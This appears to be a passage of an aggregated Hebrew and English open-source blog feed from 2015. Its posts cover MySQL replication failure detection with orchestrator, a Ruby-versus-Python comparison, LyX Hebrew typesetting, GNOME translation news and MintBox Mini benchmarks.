We continue our discussion under the assumption we are able to reliably claim we know our replication topology. Let's revisit our scenarios from above and then add some.

We will further only require MySQL client protocol connection to our database servers.

Dead master

A "real" dead master is perhaps the clearest failure. MySQL has crashed (signal 11); or the kernel panicked; or the disks failed; or power went off. The server is really not serving. This is observed as:

mysql-topologies-failures (3)

In the holistic approach, we observe that:

We have now cross referenced the death of the master with its three slaves. Funny thing is the MySQL server on the master may still be up and running. Perhaps the master is suffering from some weird network partitioning problem (when I say "weird", I mean we have it; discussed further below). And perhaps some application is actually still able to talk to the master!

And yet our entire replication topology is broken. Replication is not there for beauty; it serves our application code. And it's turning stale. Even if by some chance things are still operating on the master, this still makes for a valid failover scenario.

Unreachable master

Compare the above with:

mysql-topologies-failures (4)

Our monitoring scheme cannot reach our master. But it can reach the slaves, an they're all saying: "I'm happy!"

This gives us suspicion enough to avoid failing over. We may not actually have a problem: it's just us that are unable to connect to the master.

Right?

There are still interesting use cases. Consider the problem of "Too many connections" on the master. You are unable to connect; the application starts throwing errors; but the slaves are happy. They were there first. They started replicating at the dawn of time, long before there was an issue. Their persistent connections are good to go.

Or the master may suffer a deadlock. A long, blocking ALTER TABLE. An accidental FLUSH TABLES WITH READ LOCK. Or whatever occasional bug we hit. Slaves are still connected; but new connections are hanging; and your monitoring query is unable to process.

And still our holistic approach can find that out: as we are able to connect to our slaves, we are also able to ask them: well what have your relay logs have to say about this? Are we progressing in replication position? Do we actually find application content in the slaves' relay logs? We can do all this via MySQL protocol ("SHOW SLAVE STATUS", "SHOW RELAYLOG EVENTS").

Understanding the topology gives you greater insight into your failure case; you have increasing leevels of confidentiality in your analysis. Strike that: in your automated analysis.

Dead master and slaves

They're all gone!

mysql-topologies-failures (5)

You cannot reach the master and you cannot reach any of its slaves. Once you are able to associate your master and slaves you can conclude you either have a complete DC power failure problem (or is this cross DC?) or you are having a network partitioning problem. Your application may or may not be affected -- but at least you know where to start. Compare with:

Failed DC

mysql-topologies-failures (6)

I'm stretching it now, because when a DC fails all the red lights start flashing. Nonetheless, if M, A, B are all in one DC and C is on another, you have yet another diagnosis.

Dead master and some slaves

mysql-topologies-failures (7)

Things start getting complicated when you're unable to get an authorized answer from everyone. What happens if the master is dead as well as one of its slaves? We previously expected all slaves to say "we cannot replicate". For us, master being unreachable, some slaves being dead and all other complaining on IO thread is good enough indication that the master is dead.

All first tier slaves not replicating

mysql-topologies-failures (9)

Not a failover case, but certainly needs to ring the bells. All master's direct slaves are failing replication on some SQL error or are just stopped. Our topology is turning stale.

Intermediate masters

With intermediate master the situation is not all that different. In the below:

Untitled presentation

The servers E, F, G replicating from C provide us with the holistic view on C. D provides the holistic view on A.

Reducing noise

Intermediate master failover is a much simpler operation than master failover. Changing masters require name resolve changes (of some sort), whereas moving slaves around the topology affects no one.

This implies:

Sure, we don't mind failing over D elsewhere, but as D is the only slave of A, it's enough that D hiccups that we might get an alert ("all" intermediate master's slaves are not replicating). To that effect orchestrator treats single slave scenarios differently than multiple slaves scenarios.

Not so fun setups and failures

At Booking.com we are in transition between setups. We have some legacy configuration, we have a roadmap, two ongoing solutions, some experimental setups, and/or all of the above combined. Sorry.

Some of our masters are on SAN. We are moving away from this; for those masters on SANs we have cold standbys in an active-passive mode; so master failure -> unmount SAN -> mount SAN on cold standby -> start MySQL on cold standby -> start recovery -> watch some TV -> go shopping -> end recovery.

Only SANs fail, too. When the master fails, switching over to the cold standby is pointless if the origin of the problem is the SAN. And given that some other masters share the same SAN... whoa. As I said we're moving away from this setup for Pseudo GTID and then for Binlog Servers.

The SAN setup also implied using VIPs for some servers. The slaves reference the SAN master via VIP, and when the cold standby start up it assumes the VIP, and the slaves know nothing about this. Same setup goes for DC masters. What happens when the VIP goes down? MySQL is running happily, but slaves are unable to connect. Does that make for a failover scenario? For intermediate masters we're pushing it to be so, failing over to a normal local-disk based server; this improves out confidence in non-SAN setups (which we have plenty of, anyhow).

Double checking

You sample your server once every X seconds. But in a failover scenario you want to make sure your data is up to date. When orchestrator suspects a dead master (i.e. cannot reach the master) it immediately contacts its direct slaves and checks their status.

Likewise, when orchestrator sees a first tier slave with broken IO thread, it immediately contacts the master to check if everything is fine.

For intermediate masters orchestrator is not so concerned and does not issue emergency checks.

How to fail over

Different story. Some other time. But failing over makes for complex decisions, based on who the replicating slaves are; with/out log-slave-updates; with-out GTID; with/out Pseudo-GTID; are binlog servers available; which slaves are available in which data centers. Or you may be using Galera (we're not) which answers most of the above.

Anyway we use orchestrator for that; it knows our topologies, knows how they should look like, understands how to heal them, knows MySQL replication rules, and invokes external processes to do the stuff it doesn't understand.

25 July, 2015 07:00 AM

23 July, 2015

ik

פיתון מול רובי, לא מה שחשבתם

הקדמה

התחלתי לפתח בשפת רובי בסוף 2006.
הסיבה שהחלטתי לנסות אותה, הייתה אחרי שראיתי את הקוד של metasploit, שעבר משפת פרל לרובי, ואהבתי את מה שראיתי בעיניים, אז רציתי גם להבין.

הרבה מאוד אנשי לינוקס אינם רואים ברובי כשפה "רצינית" והמון שיחות מתחילות בדחיפה של פיתון לכל דבר, בייחוד כאשר מתקשים לבצע קצת פעולות ש Bash דווקא סבבה איתן, אבל צריך להבין איך Bash עובדת בשביל לממש אותם.

בגדול מאוד, אין לי בעיה עם פיתון, היא שפה נחמדה מאוד, ויחסית קריאה. אבל מצד שני, עבורי (ואני מדבר רק על עבורי), רובי קריאה הרבה יותר.

ואז אני רואה שאלות (הדגמה בלבד: 1, 2, 3, 4) שונות על פיתון (כי הרי דוחפים אותה לכל שיחה בערך), ואני רואה איפה למעשה אנשים מסתבכים איתה, ואני מנסה להשוות את זה לרובי, ואני יודע שבמקומות האלו לא ממש יפלו לי שם עם רובי (וזה לא בגלל שאין מקומות ליפול בהם ברובי), והייתי רוצה להסביר גם למה.

החלטתי לקחת את ארבעת הפוסטים האחרונים ב whatsup בנושא שמצאתי (נכון לכתיבת פוסט זה), והחלטתי להדגים כיצד הייתי מבצע אותם ברובי.

שאלה ראשונה

אז הבעיה הראשונה היא לבצע איטרציה על מערך ולהכניס אותו למערך חדש, אלא אם תנאי מסוים מתקיים.

a = 10.times.select{ |x| x % 2 == 0 }
a
=&gt; [0, 2, 4, 6, 8]

זהו, זה כל מה שצריך, שורה אחת :)
אסביר אותה בקצרה. ברובי כל דבר הוא אובייקט, אין כזה דבר משהו שהוא "פרימיטיבי" (בהשוואה לג'אווה למשל).
מספר שלם "רגיל", הוא אובייקט מסוג Fixnum. יש לו מתודה אשר מקבלת ירושה ממחלקת האב – Integer בשם times, אשר מבצעת כמות הפעמים של המספר המבוקש איטרציה.
במידה ולא יוצרים block או proc בשביל לרוץ כמניית האיטרציה, חוזרת לנו מחלקה מסוג Enumerator אשר היא מחלקת בסיס לדברים בעלי יכולת מנייה (כדוגמת מערכים). במחלקת ה Enumerator ישנה מתודה בשם select, המאפשרת להגדיר אילו ערכים באיטרציה כלשהי יחזרו אלי כמערך, כאשר אני יצרתי כאן למעשה proc עם הוראות.
היות וברובי השורה האחרונה בהכרח תמיד חוזרת (אם אין explicit return), אז הוא יודע שכאשר יש מספר זוגי, אז אני רוצה שזה הערך אשר יחזור אלי.
עכשיו הנה משהו מעניין על רובי תוך כדי ההסבר – אין ברובי אופרטורים. כל מה שנראה כאופרטור (כדוגמת חילוק השארית ופעולת השוויון), הם למעשה מתודות, ולכן מתודה כדוגמת even?‎ זהה למה שהייתי צריך, ויתר מזה, אין צורך בסוגריים, ולכן זה יכול גם להראות כך:

a = 10.times.select{ |x| x.even? }
a
=&gt; [0, 2, 4, 6, 8]

היות ונהוג ברובי, שכאשר יש איזו מתודה המחזירה ערך בוליאני, אז המתודה מסתיימת בסימן שאלה, לדעתי לפחות, קל להבין מה קורה כאן יותר טוב מהשם עצמו.

שאלה ראשונה – תת שאלה

בתוך סעיף אחד, מסתתרת עוד שאלה על יכולת לבצע תנאי של שורה אחת ללא צורך בהתניה כאשר משהו נכשל.
אקח את הרעיון של השאלה בצורת המימוש שלה, ואדגים כיצד רובי יראה במידה וארצה לממש את זה בתפיסה של פיתון:

a = []
10.times do |i|
  a.push(i) if i.even?
  puts a.inspect
end

כפי שניתן לראות, זה אפשרי לגמרי לעשות את זה.
יותר מזה, ניתן גם לבצע פעולת unless, אשר תכניס את הערך רק כאשר התנאי בתוכה אינו מתקיים.

ובנוסף, לרובי גם יש תמיכה בשני תחבירים של משפט טרינארי אשר שם נפל השואל:

i = 1
a = if i.even? then 't' else 'f' end
b = i.even? ? 't' : 'f'

הביטוי הראשון קריא יותר מאשר הביטוי השני בעיני, אך הביטוי השני מוכר יותר, ושניהם עושים את אותה העבודה.
שימו לב, שהביטוי שחוזר מהתנאי, הוא זה שנכנס למשתנה אשר מצפה לערך.
כמובן שגם unless יכול לקבל ביטוי זהה, ובכך למנוע שאלה של not:

c = unless i.even? then 'f' else 't' end

שאלה שניה

השאלה השנייה מדברת על כך שיש מערך מקונן, והרבה אנשים ניסו להציג פתרונות יצירתיים ומעניינים מאוד כתשובה לשאלה.
הנה הפתרון של רובי לנושא:

a = [1, 2, ['a', 'b', [0xa, 0xb] ]]
=&gt; [1, 2, ["a", "b", [10, 11]]]
a.flatten
=&gt; [1, 2, "a", "b", 10, 11]

קצת הארכתי את הקוד, אשר יכול להיות בשורה אחת בלבד, אך רציתי להדגים את הערך שיחזור אלי.

כפי שכתבתי בתשובה לשאלה הראשונה, מערך ברובי, יורש מ Enumerable, אבל יש לו גם הרבה מתודות משל עצמו.
מתודה אחת כזו היא flatten, אשר עושה בדיוק את מה שאותו בחור ביקש.
המתודה יכולה להגיע גם בעוד צורה בשם flatten!‎ אשר התפקיד שלה הוא זהה, עם שינוי קטן אחד – היא לא מחזירה מערך חדש בלי לגעת בקיים (כפי ש flatten עושה), אלא היא משנה את המערך הקיים וחוזרת עם אובייקט המערך עצמו.

מרבית המתודות עם סימן הקריאה ברובי, אומרות כי הן ישנו את הערך של האובייקט עצמו, במקום להחזיר תוכן חדש בלי לגעת בתוכן הקיים.
ובכך גם בשם ניתן להבין טוב יותר מה יהיה.

למעשה סימן הקריאה, וגם סימן השאלה, מסייעים לקבל את עיקרון ההפתעה הנמוכה ביותר (תרגום עצמי לעקרון זה). העיקרון אומר, כי דברים צריכים להיות הכי צפויים בהתנהגות שלהם, וכמה שפחות לצפות להפתעה כאשר מתרחש משהו. ורובי מצטיינת בגישה הזו (לדעתי, גם כאשר משתמשים נכון בכלים כמו method_missing). בכך שהרבה דברים מתנהגים בצורה צפויה לפי תחביר, גם כאשר מדובר בערכים לגמרי שונים ממה שחשבו עליהם בהתחלה. ולכן קל מאוד לכתוב למשל DSL באמצעות השפה.

שאלה שלישית

בשאלה השלישית, רצו לבצע דבר מה, כאשר מחרוזת מתקיימת במשתנה.
חשוב לי להגיד לפני הפתרון, כי פיתון יעילה יותר עם מחרוזות מאשר רובי, היות ומחרוזת בפיתון היא "קבוע" בעוד שברובי מחרוזת היא לא קבוע.
אבל לרובי יש גישה אחרת שמנסה להתמודד עם בעיה זו: symbols . symbol יעיל מאוד כי הוא קבוע, ולכן כאשר אין צורך במשהו שיהיה מחרוזת, אנחנו משתמשים בו במקום.

אם אחזור לשאלה השלישית, אז ברובי יש מספר רב של דרכים לענות על השאלה השלישית, אבל אציג רק שלוש מהן:

str1 = 'yoyo'
print 'sdfsdfsfsdfsfsdf' if str1.eql?('aaaaa') || str1 == 'yopo' || str1 === 'yoyo'

ישנם כאמור עוד דרכים לביצוע השוואת מחרוזות, אבל אלו מספיקות, לא?
על רגל אחת (בלי באמת למצות את ההסבר עד הסוף שלדעתי דורש פוסט שלם רק על זה):
המתודה (בדיקה) הראשונה של eql?‎ בודקת האם האורך והתוכן זהים.
המתודה (הבדיקה) השנייה של ==, בודקת האם זה תוכן זה הוא מסוג מחרוזת, ובמידה וכן, בודקת אורך ורק אז את התוכן.
המתודה (הבדיקה) השלישית של ===, בודקת גם היא את סוג המחלקה, ובמידה ושניהם מחרוזות אז מבצעים פעולה הזהה ל==, במידה ולא, תהה בדיקה האם יש מכנה משוטף בניהם הניתן להשוואה באמצעות פעולת case.

שאלה רביעית

בשאלה הרביעית, רצו להוריד קובץ מאתר מאובטח.
הנה משהו פשוט שמוריד תמונה מגוגל בגישה מאובטחת:

require 'open-uri'

image = open('https://www.google.com/images/srpr/logo11w.png')
open('/tmp/image.png', 'wb+') { |a| a.write(image.read) }
image.close

קצת פירקתי את הדברים לקריאות.
אני טוען את הספרייה open-uri, אשר תפקידה הוא לדעת לפתוח קישורים של ftp, http ו https כאילו היו file descriptor של רובי.

אני במקרה הזה ניגש לקובץ תמונה של גוגל, ושומר אותו כקובץ בינארי בספריית /tmp/ .
שימו לב כי אינני סוגר את הקובץ תמונה שאני שומר בדיסק, והוא נסגר לבד, בזכות פעולת ה proc, אשר בעצם מתבצעת "מאחורי הקלעים" באמצעות yield. וכאשר פקודה זו מסתיימת, הפונקציה של open סוגרת את עצמה לבד.

סיכום

אני מוצא את רובי מאוד מהירה ויעילה לביצוע המון דברים.
יש לה תמיכה מובנת במשהו המזכיר את monads, כפי שכבר זכיתם לראות בקוד, היא קריאה ומהירה מאוד בהתמקדות בעיקר, שזה להשיג מטרה, ופחות בטפל, לפחות בהרגשה שלי, וכנראה כי גם ינון מרגיש על פיתון שיש התמקדות יותר טפל.
רובי מגיעה עם המון כלים מובנים בשפה (למשל כאן בפוסט הזה, לא השתמשתי במשהו שאינו מגיע עם רובי עצמה).
ובכך אני מוצא את עצמי מרוכז דווקא בעבודה מעשית, משהו שלפחות לתחושתי שלי, פיתון פחות חזקה בו. למרות שאני מקווה כי אני טועה בכך.


תויק תחת:Python, Ruby, טכנולוגיה, פיתוח, קוד פתוח, תוכנה, תכנות

23 July, 2015 09:40 PM

16 July, 2015

Oz Nahum

Introducing psutil in Munich Python Users

I gave a quick talk in Python Munich User Group about one of my favourite Python tools. Here is a link to the presentation about psutil. ... continue reading...

16 July, 2015 09:15 PM

Dictionaries in bash scripts - it is possible

Apparently, bash offeres assosiative arrays, similar to Python dictionary ... continue reading...

16 July, 2015 09:15 PM

15 July, 2015

Ram on Agmon

זן ותכנון מסלולי רכיבה באופני הרים

אחד הדברים המגניבים באופניים, שאפשר להגיע איתם ממש רחוק. בנוסף לזה, הן עוברות בכל מקום. כמעט. מקסימום, מעמיסים על הכתפיים. יחד עם זה, נסיעה למרחקים, בשטח, דורשת הכנה. בעיקר, לבחור מסלול נכון.

בחו"ל, גוגל מציעה מסלולי רכיבה. בארץ, משום מה, יוק. תוכנות כמו strava מאפשרות תכנון של מסלול, אפילו תוך התייחסות לרכיבות של אנשים אחרים, אבל התהליך הוא ארוך, מייגע, ולא בהכרח מספק תוצאות ראויות.

openstreetview הוא לא רק אתר, אלא זה פורמט. פורמט גאוגרפי שמאפשר להגדיר בצורה מדוייקת מאוד תווי שטח ומה למעשה יש בשטח. מאחר שהרעיון מאחורי הוא חופשי, להנגיש את המידע, אז יש גישה מלאה לכל הנתונים. לכל אחד.  מאחר שהפורמט חופשי, והמידע חופשי, התאפשר פיתוח של אלגוריתמים משוכללים המאפשרים ניווט ברמה גבוהה מאוד.

אתר המסלולים הזה מאפשר לתכנון ניווט לפי פרמטרים. מאחר שהנתונים שהוכנסו למערכת כוללים גם את סוג הדרך (מהירה, כביש, דרך עפר וכו') ניתן לבקש מהמערכת להימנע מכבישים מהירים, ואז, היא תיצור ניווט שבילים.

בדקתי את התוצאות במסלולים שאני מכיר, ולעיתים קרובות הייתי מופתע. שבילים שההבדלים בינהם זניחים, עדיין המערכת התייחסה אליהם בעדיפות הנכונה. זה לא מושלם, ויש קצת בעיות ממשק, אבל זה הטוב ביותר בשטחי מדינת ישראל. ואת המקומות אפשר להקליד גם בעברית.

המסלול שהמערכת הציעה מאיזור כפר סבא לבאר שבע, היה הרבה יותר מדוייק וחכם מזה שניסיתי לבדוק במשך שעות מול מערכות אחרות.כוחה של התוכנה החופשית.

 

הטקסט המלא

15 July, 2015 08:12 PM

13 July, 2015

Hamakor

נפתחה ההרשמה לאוגוסט פינגווין 2015

עמותת „המקור” שמחה להודיע על פתיחת ההרשמה לכנס אוגוסט פינגווין השנה.

הכנס יתקיים, כפי שפורסם, ביום ששי 7.8 במכללת שנקר ברמת־גן.

ההרשמה דרך אתר הכנס, כמובן, ואינה נדרשת עבור חברי וידידי העמותה ששילמו דמי חבר.

להתראות בכנס!

Share

13 July, 2015 09:02 PM

Gabor Szabo

YouTube Channel at 100,000 views

I know I am far from being a celebrity but it is still nice to see that the videos and screencasts on my YouTube channel has just passed 100,000 views.

For the full article visit YouTube Channel at 100,000 views

13 July, 2015 08:34 PM

12 July, 2015

Ram on Agmon

המועמדים שלי לפרס המקור 2015 :)

הי.
עד כמה שאני זוכר, הפרס נועד, בעיקר לשם הכבוד, לאנשים שקידמו את התכונה החופשית במדינת ישראל. מתוך הכרה בקשר שבין תוכנה חופשית לבין תרומה לקהילה.
הייתי שמח להעמיד למועמדות פרס המקור את:
רשת אורט – רשת אורט מקדמת באופן עקבי את השימוש בתוכנה חופשית, ועשויה להוות מודל למערכת החינוך הכללית.
ליאור קפלן – הוא כבר אינו בוועד, וזו ההזדמנות להעניק לו את הפרס.
מאיר קריחלי – אומנם כבר זכה בפרס, אבל זה שהאתר ממשיך לתפקד גם בעידן הפייסבוק, זה כבוד בריבוע.
עמי שליזנגר – עמי קידם במשך שנים את התוכנה החופשית בתעשיות הביטחוניות ופעיל תוכנה חופשית במגזר העיסקי.
הדוד נמרוד – פעיל תוכנה חופשית, היה מהראשונים לממש אינדקוס המידע מהכנסת ביחד עם שלומי פיש. תרם אין סוף קוד, ויזם את התנועה כנגד חוק המאגר הביומטרי.
חברת הכנסת תמר זנדברג – על תרומה ביזום מחקר הנוגע לתועלת הגלומה בתוכנה חופשית על השירות הציבורי.
חבר הכנסת דב חנין – על כך שיזם את המחקר הקודם בתחום.
כנסת פתוחה
 יש גם מספר חברות העוסקות במתן שירות אך ורק על תוכנה חופשית. חלקן, די גדולות. אני בעובד מאחת, אז אני מנוע להתייחס לתחום :).
דניאל שקורי ​עבור פיתוח שכבת ​תרגום לפלטפורמת מטאור.​הפיתוח הפך לשיטה הסטנדרטית​עבור האפליקציות העושות שימוש במטאור.

​.​

הותקן ביותר מ34 אלף אפליקציות.

הסדנא לידע ציבורי
אני לא ממש מחובר לרשתות החברתיות ופורומים אחרים, אבל אם יש פורומים עם מנהלים וותיקים העושים עבודה יפה, זה הזמן להעלות את שמם ברשימה :).
מיקרוסופט: מיקרוסופט היא הראשונה בדירוג התורמים לקרן openssh. היא קיבלה מעמד של "תורם זהב" על מנת לאפשר לדבר עם השרתים שלהם ב- ssh. מיקרוספט היא גם בקרן לינוקס, מה שאומר, שהיא שותפה במשכורת של לינוס טורבלדס. אני חושב שזו המצטרפת האחרונה מתוך תאגידי הענק. עדיף מאוחר מאשר לעולם לא.

 

הטקסט המלא

12 July, 2015 08:01 AM

09 July, 2015

Yoav Farhi

המשרד שלי היום

image


09 July, 2015 06:36 PM

05 July, 2015

Yosef Or Boczko

תרגום GNOME – לקראת הסוף ?

ערב טוב.

מזה זמן ברצוני לכתוב רשומה ולעדכן על תרגום GNOME. בזמן האחרון הזמן העומד לרשותי הולך ומצטמצם, ובכל זאת אני משתדל להשאיר את המערכת מתורגמת ברמה סבירה, לכל הפחות בשימוש הפשוט – תקינות מימין לשמאל ותרגום מלא.

בקרוב אתגייס, על כן מרגע זה אוכל לתרגם אחת לשבועיים עד לאחת לחודש.

אראה אם אוכל לתחזק את התרגום במהלך השירות הצבאי. אם לא אעמוד בכך, אשתדל לראות אם מישהו יוכל לקחת על עצמו את המשימה, אם ירון יוכל לקחת עליו בחזרה את מלאכת התרגום, אם יש לו זמן אם למישהו אחר. לעת עתה, על כל פנים, אני לוקח בחשבון שאולי אספיק, בכל זאת, לתחזק את התרגום בעצמי גם במהלך השירות הצבאי.

מבחינה טכנית, כעת, אין באפשרותי להמשיך לתרגם, וזאת לאחר שלפני שבוע המסך שלי עלה בסערה השמימה (הוא לא נשרף, סתם הפסיק לפעול). כנראה רק בתחילת השבוע הבא אשיג מסך חדש (בינתיים אני עסוק בדברים אחרים, כך שנוח לי להיות ללא מחשב).

מטרתי היא להשאיר את GNOME מתורגם באופן מלא (כפי שהשארתי אותו ב-3.16), וכן להספיק ולהעביר את החבילות שלי מה-AUR הישן ל-AUR 4, לפני הגיוס.

יתכן ואוכל להגיע לכנס אוגוסט פינגווין השנה, על אף שכבר לא אהיה עוד אזרח. את כנס GUADEC, כנס מפתי ומשתמשי GNOME השנתי – הפסדתי השנה :-(

אזכיר כאן את נגן המוזיקה Lollypop, אותו תרגמתי מרגע שהיה נראה לי שימושי. נגן מוזיקה זה הוא פיצול של gnome-music, אם כי אינו עושה שימוש ב-tracker. הממשק שלו מאד נוח, עם כמה וכמה דברים די שימושיים. אין לי אותו כאן ועל כן לא אסקור את הנגן, אף צילומי מסך אין לי. על כל פנים – הנגן מתורגם ותקין מימין לשמאל. מומלץ ביותר.

לבסוף אומר תודה לאלה שהיו כאן, מי שדיווח לי על תקלה בתרגום או תקלה בכיווניות, מי שנעזרתי בו עם שאלות מכאן ומשם ומי שסתם קשקשתי לו מדי פעם. יש פה אנשים טובים, באמת.

והשיר כמובן לכבודכם :-)

ערב טוב,

יוסף אור

05 July, 2015 07:26 PM

04 July, 2015

Guy Rutenberg

Creating a Hebrew Document in LyX 2.1 with XeTeX

This post complements the basic LaTeX template I gave yesterday for typesetting Hebrew with XeTeX. I’ll walk through the (short) list of steps needed to configure LyX with XeTeX.

Prerequisites

Setting up the document

Create a new document and open the settings dialog (Document -> Settings...).

  1. Pick a suitable Document class. I recommend “KOMA-Script Article” but “Article” works just as fine. Avoid “Hebrew Article”, as it is broken under XeTeX.
  2. Under Fonts check the box next to `Use non-TeX fonts (via XeTeX/LuaTeX) and select suitable fonts:
    • Roman: Frank Ruehl CLM. David CLM is also a good choice with somewhat better italics variant.
    • Sans Serif: Simple CLM.
    • Typewriter: Miriam Mono CLM.
    • There is no need to change the Math font.
  3. Under Language select Hebrew as the document’s language.

That’s basically it. You can now write your document and compile it. I would suggest saving these settings as default (via “Save as Document Defaults”) or saving it as a template so you won’t need to repeat those steps.

Writing in English

To insert English text in your Hebrew document, you need to change the current language. The easiest way to do so is to create a keyboard shortcut for it:

  1. Go to Tools -> Preferences -> Editing -> Shortcuts
  2. Write “language” under “Show key-bindings containing:”.
  3. Select “language” under “Cursor, Mouse and Editing Functions” and click “Modify” to set a keyboard shortcut (F12 is traditionally used for this).

Now you can toggle the current language between English and Hebrew by simply pressing F12.

Remark about Fonts

It is preferable to use fonts that provide both Hebrew and Latin scripts, as otherwise there might be significant style differences which make the document look weird. It is possible to set a different font for Hebrew and Latin, but care needs to be taken to match styles. To do so, add the following lines to the Preamble:

\newfontfamily\hebrewfont[Script=Hebrew]{David CLM}
\newfontfamily\hebrewfonttt[Script=Hebrew]{Miriam Mono CLM}
\newfontfamily\hebrewfontsf[Script=Hebrew]{Simple CLM}

04 July, 2015 06:09 PM

01 July, 2015

Oldie

Syncthing: סנכרון קבצים בן מחשבים מרוחקים

היכולת לשתף בזמן אמת מספר רב של קבצים וספריות בן מחשבים וטלפונים ניידים (תוך גיבוי בענן) שדרגה את איכות חיינו ללא היכר. דרופבוקס ודומיה מציעות נוחות רבה שקשה לוותר עליה. מאידך כל הטוב הזה לא חסר מגרעות: האחסון בענן אומר … להמשיך לקרוא

01 July, 2015 12:22 PM

24 June, 2015

Gabor Szabo

YAPC and Perl Workshop participant numbers

I went over the web-site of some of the recent Perl workshops and most of the Perl Conferences (YAPCs) looking for the number of participant and the number of talks on each event. I managed to collect the data from most of YAPCs in Europe and North America, but unfortunately I could not find the respective information in the YAPC::Asia sites.

For the full article visit YAPC and Perl Workshop participant numbers

24 June, 2015 05:39 PM

21 June, 2015

Yoav Farhi

גלידת שפרעם

image

מצאתי בסופר בכפר הקרוב, והייתי סקרן מספיק כדי לנסות. וואו, טעים!


21 June, 2015 10:26 AM

29 May, 2015

Shlomi Fish

Vim Tip: Going to the top or bottommost window/viewport

In the Vim and GVim text editors, one can use Ctrl+W;t (or Ctrl+w;Ctrl+t) to go to the topmost/most top window (= a section of the screen in Vim terminology) and Ctrl+W;b to go to the bottommost/most bottom one.

Cheers!

29 May, 2015 05:08 PM

16 May, 2015

Kobi Zamir

libhdate-js

אחרי שתרגמתי את את libhdate ל php החלטתי לתרגם את הקוד גם ל javascript , הסיבה העיקרית היתה שאני יכול :-) התרגום נעשה קודם ל typescript ואח"כ ל javascript.

הטקסט המלא

16 May, 2015 06:41 PM

15 May, 2015

Ilan Shavit

MintBox Mini חלק רביעי: סיכום

במהלך החודש האחרון עבדתי הרבה עם MintBox Mini ועכשיו הגעתי לנקודה שבה צריך לסכם ולהחליט: שווה או לא שווה לקנות?

התשובה לשאלה איננה חד משמעית ויותר תלויה בציפיות שיש לכם מהמחשב.

למחשב מספר יתרונות בולטים:

אך גם מספר חסרונות:

נתייחס לנקודת המחיר:
נכון לזמן כתיבת המאמר המחיר שלו באתר Compulab הוא 295$ (כ- 1350 ש"ח כולל מע"מ). לא מחיר זול, ולכן יש לשאול מהן הציפיות שיש לכם מהמחשב ולמה אתם מייעדים אותו:

עד כאן הסקירה. מקווה שנהנתם :)

My Signature

15 May, 2015 12:00 PM

14 May, 2015

Kobi Zamir

libhdate-php

libhdate-php הוא מימוש ב php נקי של ספרית libhdate. המימוש משתמש באותם אלגורתמים וקבועים כמו הספריה ב C. אך כתוב כולו ב php. הספריה יודעת להמיר תאריכים לועזיים ועבריים, להציג חגים, קריאות בתורה וגם לחשב את זמני היום.

הטקסט המלא

14 May, 2015 04:02 PM

08 May, 2015

Ilan Shavit

MintBox Mini חלק שלישי: מבחן ביצועים

בסקירה זאת אבדוק את ביצועי MintBox Mini במספר מבחנים פשוטים. היכן שרלוונטי סיפקתי את הנתון שהתקבל בבדיקת המחשב הנייד שלי (שהוא המחשב החזק ביותר העומד לרשותי).

הערה: לדברי Compulab המחשב סופק לי כשהוא מוגדר לעבודה בצריכת הספק מינימלית. לקבלת תוצאות אופטימליות, ובהמלצת החברה, ביטלתי בביוס את הגבלת ההספק ל- 4.5 וואט, כך שהצריכה בפועל תהיה כ- 5-10 וואט (שינוי זה יגרום למחשב להתחמם יותר, אך היא לא מסכנת את המעבד, שכן בחום יתר הוא אמור להוריד את התדר שלו באופן אוטומטי).

מבחני דיסק:
ביצעתי מס' מבחנים להערכת ביצועי הדיסק. במבחן  hdparm בדקתי (ב- 3 בדיקות עוקבות) את מהירות הקריאה מהדיסק: כ- 423MB/s. מאוד מרשים! (במחשב הנייד: רק 165MB/s – וגם לו כונן SSD).

בבדיקה הוספתי גם את הדגל T-, בדיקה שאמורה לבדוק את מהירות הקריאה מה- Cache (בדיקה שבודקת את מהירות כל המכלול: זכרון, מעבד וזכרון מטמון). המספר הממוצע שהתקבל: 2813MB/s גם גבוה וקרוב מאוד למה שקיבלתי במחשב הנייד: 3000MB/s

מבחן hdparm

מבחן hdparm

 

הבדיקה הבאה: מהירות הכתיבה לדיסק באמצעות dd. הבדיקה מראה מהירות כתיבה של כ- 156MB/s – מהירות טובה (אם כי נמוכה מהמהירות שקיבלתי במחשב הנייד: כ- 220MB/s)

בדיקת מהירות כתיבה באמצעות  dd

בדיקת מהירות כתיבה באמצעות dd

ביצועי הדיסק שגיליתי בהחלט טובים ואני משייך אותם לאיכות כונן ה- SSD (כך שאם אגלה בעיות ביצועים בהמשך הם לא ינבעו מחומרה זאת).

מבחן Geekbench:

Geekbench-3 הוא כלי חוצה פלטפורמות לבדיקת ביצועים. מדובר בכלי פשוט יחסית: מורידים את התוכנה, פורסים ומריצים. התוכנה מבצעת מספר רב של בדיקות, ומספקת ציון כללי עבור ביצועי ליבה אחת וציון כללי עבור ביצועי כלל הליבות. התוכנה מאפשרת להעלות את התוצאות לאתר, וכך להשוות ביצועים בין מחשבים שונים שברשותכם.

התבוננו באיור הבא:

השוואת ביצועים של מחשבים שונים שברשותי

השוואת ביצועים של מחשבים שונים שברשותי

ביצעתי שתי בדיקות ב- MintBox Mini. במצב חסכון אנרגיה (4.5 וואט – שורה שניה) הציון שקיבל המחשב די מאכזב, ועקף בביצועים רק את המחשב מבוסס מעבד אטום (בשורה החמישית: אני מכנה אותו "העגלה"), אך בדיקת ביצועים לא עושים במצב של חסכון באנרגיה… במצב עבודה רגיל (צריכת הספק 5-10 וואט), המחשב קיבל ציונים הדומים לאלו שקיבל המחשב מבוסס AMD (שורה שלישית), ונמוכים בעשרות אחוזים מביצועי המחשב הנייד. העיניין הוא שאלו ממש לא נחשבים למחשבים חזקים במיוחד… המחשב מבוסס AMD הוא בן 5  (וגם אז לא נחשב לעתיר ביצועים). המחשב הנייד בן 3-4, והוא מבוסס על מעבד חלש יחסית (Intel Core i3).

מבחן PassMark:

עיון בקישור הבא מגלה שהמעבד AMD A4 Micro-6400T מקבל ציון  1600 במבחן PassMark. כאן ניתן  להשוות את ביצועי המעבד יחסית למעבדים מובילים בשוק. ברור שלא מדובר ב- "מפלצת" ביצועים (אבל כאמור לא צריך לצפות ממחשב זעיר זה שיהיה עתיר ביצועים).

מה לגבי יתר המעבדים איתם אני עושה שימוש?
המעבד AMD Athlon x2 5600 מקבל ציון 1469 (כאן הוא מקבל ציון נמוך יותר מ- MintBox Mini).
המעבד Intel Core i3 380M  מקבל ציון 2124.

מבחנים גרפיים:

במסגרת המבחנים הגרפיים התחלתי בבדיקת יכולת ההאצה בדו-מימד של המעבד הגרפי. צפיתי במספר סרטונים ב- Youtube באיכויות שונות (720P, 1080P, 1440P, 2160P). מבחן זה בדק את יכולת המעבד הרגיל ויכולת המעבד הגרפי.

